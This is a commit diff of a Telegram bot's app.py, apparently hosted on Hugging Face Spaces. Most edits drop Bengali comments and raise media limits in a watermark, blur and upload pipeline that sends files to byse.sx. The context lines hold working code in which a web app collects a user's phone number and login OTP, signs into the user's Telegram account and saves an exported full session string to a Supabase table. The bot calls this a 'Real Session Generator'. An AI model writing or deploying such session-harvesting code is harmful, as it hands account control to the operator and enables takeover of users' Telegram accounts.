Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -82,13 +82,10 @@ def api_send_code():
|
|
| 82 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 83 |
|
| 84 |
async def process_send_code():
|
| 85 |
-
# নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
|
| 86 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 87 |
await client.connect()
|
| 88 |
try:
|
| 89 |
-
# অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
|
| 90 |
code_info = await client.send_code(phone)
|
| 91 |
-
# ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
|
| 92 |
temp_clients[phone] = {
|
| 93 |
'client': client,
|
| 94 |
'hash': code_info.phone_code_hash
|
|
@@ -123,14 +120,10 @@ def api_verify_code():
|
|
| 123 |
phone_hash = temp_data['hash']
|
| 124 |
|
| 125 |
try:
|
| 126 |
-
# OTP দিয়ে লগইন করা হচ্ছে
|
| 127 |
await client.sign_in(phone, phone_hash, user_otp)
|
| 128 |
-
|
| 129 |
-
# String Session তৈরি করা হচ্ছে
|
| 130 |
session_string = await client.export_session_string()
|
| 131 |
await client.disconnect()
|
| 132 |
|
| 133 |
-
# ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
|
| 134 |
await db_query(lambda: supabase.table('user_sessions').insert({
|
| 135 |
"user_id": user_id,
|
| 136 |
"session_string": session_string
|
|
@@ -330,21 +323,21 @@ async def handle_media_upload(client, message):
|
|
| 330 |
blur_percent = state["blur_percent"]
|
| 331 |
clear_percent = state.get("clear_percent", 0)
|
| 332 |
|
| 333 |
-
# Memory Constraint checks (
|
| 334 |
is_large_video = False
|
| 335 |
if media_type == "video":
|
| 336 |
duration = message.video.duration if message.video and message.video.duration else 0
|
| 337 |
file_size = message.video.file_size if message.video and message.video.file_size else 0
|
| 338 |
|
| 339 |
-
MAX_DURATION =
|
| 340 |
-
MAX_SIZE =
|
| 341 |
|
| 342 |
if duration > MAX_DURATION or file_size > MAX_SIZE:
|
| 343 |
is_large_video = True
|
| 344 |
-
is_blur = False # বড়
|
| 345 |
|
| 346 |
if is_large_video:
|
| 347 |
-
status_msg = await message.reply("⏳ <b>ভিডিওটি
|
| 348 |
else:
|
| 349 |
status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
|
| 350 |
|
|
@@ -361,15 +354,15 @@ async def handle_media_upload(client, message):
|
|
| 361 |
original_file = await message.download()
|
| 362 |
final_file = original_file
|
| 363 |
|
| 364 |
-
# ---------------- 1. UPLOAD & WATERMARK
|
| 365 |
if media_type == "video" and not is_large_video:
|
| 366 |
-
await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (
|
| 367 |
watermarked_file = f"{original_file}_wm.mp4"
|
| 368 |
|
| 369 |
cmd = [
|
| 370 |
"ffmpeg", "-y", "-i", original_file,
|
| 371 |
"-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
|
| 372 |
-
"-c:v", "libx264", "-preset", "ultrafast", "-threads", "
|
| 373 |
"-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k",
|
| 374 |
"-movflags", "+faststart", watermarked_file
|
| 375 |
]
|
|
@@ -378,7 +371,7 @@ async def handle_media_upload(client, message):
|
|
| 378 |
if process.returncode == 0 and os.path.exists(watermarked_file):
|
| 379 |
final_file = watermarked_file
|
| 380 |
|
| 381 |
-
# ---------------- 2. BLUR GENERATOR
|
| 382 |
if is_blur and not is_large_video:
|
| 383 |
msg_txt = f"⏳ টেলিগ্রামের জন্য {blur_percent}% ব্লার তৈরি করা হচ্ছে..."
|
| 384 |
if clear_percent > 0:
|
|
@@ -398,9 +391,9 @@ async def handle_media_upload(client, message):
|
|
| 398 |
if media_type == "photo":
|
| 399 |
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
|
| 400 |
elif media_type == "animation":
|
| 401 |
-
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "
|
| 402 |
else:
|
| 403 |
-
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "
|
| 404 |
|
| 405 |
process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
|
| 406 |
await process_blur.communicate()
|
|
@@ -419,7 +412,6 @@ async def handle_media_upload(client, message):
|
|
| 419 |
|
| 420 |
if result.get('status') == 200:
|
| 421 |
upload_url = result.get('result')
|
| 422 |
-
# Upload the processed file (or original if large)
|
| 423 |
upload_res = await loop.run_in_executor(None, upload_file_sync, upload_url, final_file, BYSE_API_KEY)
|
| 424 |
if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
|
| 425 |
file_code = upload_res['files'][0].get('filecode')
|
|
@@ -434,14 +426,13 @@ async def handle_media_upload(client, message):
|
|
| 434 |
await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
|
| 435 |
return
|
| 436 |
|
| 437 |
-
# ---------------- 4. SEND TO ADMIN
|
| 438 |
if is_large_video:
|
| 439 |
admin_cap = (
|
| 440 |
-
f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n"
|
| 441 |
f"🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n"
|
| 442 |
-
f"📌 <i>ভিডিওটি
|
| 443 |
)
|
| 444 |
-
# সেন্ড অরিজিনাল ভিডিও ফাইল টু এডমিন
|
| 445 |
await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
|
| 446 |
await status_msg.delete()
|
| 447 |
return
|
|
@@ -641,19 +632,14 @@ async def catch_admin_steps(client, message):
|
|
| 641 |
|
| 642 |
# ================= RUNNER =================
|
| 643 |
def run_flask():
|
| 644 |
-
# ফ্লাস্ক ব্যাকগ্রাউন্ড থ্রেডে চলবে
|
| 645 |
app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
|
| 646 |
|
| 647 |
async def main():
|
| 648 |
-
# পাইরোগ্রাম মেইন ইভেন্ট লুপে চলবে
|
| 649 |
await bot.start()
|
| 650 |
print("🤖 Pyrogram Bot & Real Session Generator is running!")
|
| 651 |
await idle()
|
| 652 |
await bot.stop()
|
| 653 |
|
| 654 |
if __name__ == "__main__":
|
| 655 |
-
# ফ্লাস্ক API থ্রেড চালু করা হলো
|
| 656 |
threading.Thread(target=run_flask, daemon=True).start()
|
| 657 |
-
|
| 658 |
-
# টেলিগ্রাম বট লুপ চালু করা হলো
|
| 659 |
main_loop.run_until_complete(main())
|
|
|
|
| 82 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 83 |
|
| 84 |
async def process_send_code():
|
|
|
|
| 85 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 86 |
await client.connect()
|
| 87 |
try:
|
|
|
|
| 88 |
code_info = await client.send_code(phone)
|
|
|
|
| 89 |
temp_clients[phone] = {
|
| 90 |
'client': client,
|
| 91 |
'hash': code_info.phone_code_hash
|
|
|
|
| 120 |
phone_hash = temp_data['hash']
|
| 121 |
|
| 122 |
try:
|
|
|
|
| 123 |
await client.sign_in(phone, phone_hash, user_otp)
|
|
|
|
|
|
|
| 124 |
session_string = await client.export_session_string()
|
| 125 |
await client.disconnect()
|
| 126 |
|
|
|
|
| 127 |
await db_query(lambda: supabase.table('user_sessions').insert({
|
| 128 |
"user_id": user_id,
|
| 129 |
"session_string": session_string
|
|
|
|
| 323 |
blur_percent = state["blur_percent"]
|
| 324 |
clear_percent = state.get("clear_percent", 0)
|
| 325 |
|
| 326 |
+
# Memory Constraint checks (Updated for High RAM server)
|
| 327 |
is_large_video = False
|
| 328 |
if media_type == "video":
|
| 329 |
duration = message.video.duration if message.video and message.video.duration else 0
|
| 330 |
file_size = message.video.file_size if message.video and message.video.file_size else 0
|
| 331 |
|
| 332 |
+
MAX_DURATION = 7200 # 2 Hours (আগে ৬০০ সেকেন্ড ছিল)
|
| 333 |
+
MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB (আগে ১৫০ এমবি ছিল)
|
| 334 |
|
| 335 |
if duration > MAX_DURATION or file_size > MAX_SIZE:
|
| 336 |
is_large_video = True
|
| 337 |
+
is_blur = False # এক্সট্রিম বড় ফাইলের ক্ষেত্রে ব্লার স্কিপ করা হবে
|
| 338 |
|
| 339 |
if is_large_video:
|
| 340 |
+
status_msg = await message.reply("⏳ <b>ভিডিওটি টেলিগ্রামের লিমিটের চেয়েও বড়!</b> ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
|
| 341 |
else:
|
| 342 |
status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
|
| 343 |
|
|
|
|
| 354 |
original_file = await message.download()
|
| 355 |
final_file = original_file
|
| 356 |
|
| 357 |
+
# ---------------- 1. UPLOAD & WATERMARK ----------------
|
| 358 |
if media_type == "video" and not is_large_video:
|
| 359 |
+
await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
|
| 360 |
watermarked_file = f"{original_file}_wm.mp4"
|
| 361 |
|
| 362 |
cmd = [
|
| 363 |
"ffmpeg", "-y", "-i", original_file,
|
| 364 |
"-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
|
| 365 |
+
"-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
|
| 366 |
"-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k",
|
| 367 |
"-movflags", "+faststart", watermarked_file
|
| 368 |
]
|
|
|
|
| 371 |
if process.returncode == 0 and os.path.exists(watermarked_file):
|
| 372 |
final_file = watermarked_file
|
| 373 |
|
| 374 |
+
# ---------------- 2. BLUR GENERATOR ----------------
|
| 375 |
if is_blur and not is_large_video:
|
| 376 |
msg_txt = f"⏳ টেলিগ্রামের জন্য {blur_percent}% ব্লার তৈরি করা হচ্ছে..."
|
| 377 |
if clear_percent > 0:
|
|
|
|
| 391 |
if media_type == "photo":
|
| 392 |
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
|
| 393 |
elif media_type == "animation":
|
| 394 |
+
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
|
| 395 |
else:
|
| 396 |
+
cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
|
| 397 |
|
| 398 |
process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
|
| 399 |
await process_blur.communicate()
|
|
|
|
| 412 |
|
| 413 |
if result.get('status') == 200:
|
| 414 |
upload_url = result.get('result')
|
|
|
|
| 415 |
upload_res = await loop.run_in_executor(None, upload_file_sync, upload_url, final_file, BYSE_API_KEY)
|
| 416 |
if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
|
| 417 |
file_code = upload_res['files'][0].get('filecode')
|
|
|
|
| 426 |
await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
|
| 427 |
return
|
| 428 |
|
| 429 |
+
# ---------------- 4. SEND TO ADMIN ----------------
|
| 430 |
if is_large_video:
|
| 431 |
admin_cap = (
|
| 432 |
+
f"✅ <b>সফল! (অতিরিক্ত বড় ভিডিও)</b>\n\n"
|
| 433 |
f"🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n"
|
| 434 |
+
f"📌 <i>ভিডিওটি 1.9GB এর বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে। আপনি চাইলে লিংকটি দিয়ে নিজেই Web App এ ভিডিও অ্যাড করতে পারবেন।</i>"
|
| 435 |
)
|
|
|
|
| 436 |
await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
|
| 437 |
await status_msg.delete()
|
| 438 |
return
|
|
|
|
| 632 |
|
| 633 |
# ================= RUNNER =================
|
| 634 |
def run_flask():
|
|
|
|
| 635 |
app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
|
| 636 |
|
| 637 |
async def main():
|
|
|
|
| 638 |
await bot.start()
|
| 639 |
print("🤖 Pyrogram Bot & Real Session Generator is running!")
|
| 640 |
await idle()
|
| 641 |
await bot.stop()
|
| 642 |
|
| 643 |
if __name__ == "__main__":
|
|
|
|
| 644 |
threading.Thread(target=run_flask, daemon=True).start()
|
|
|
|
|
|
|
| 645 |
main_loop.run_until_complete(main())
|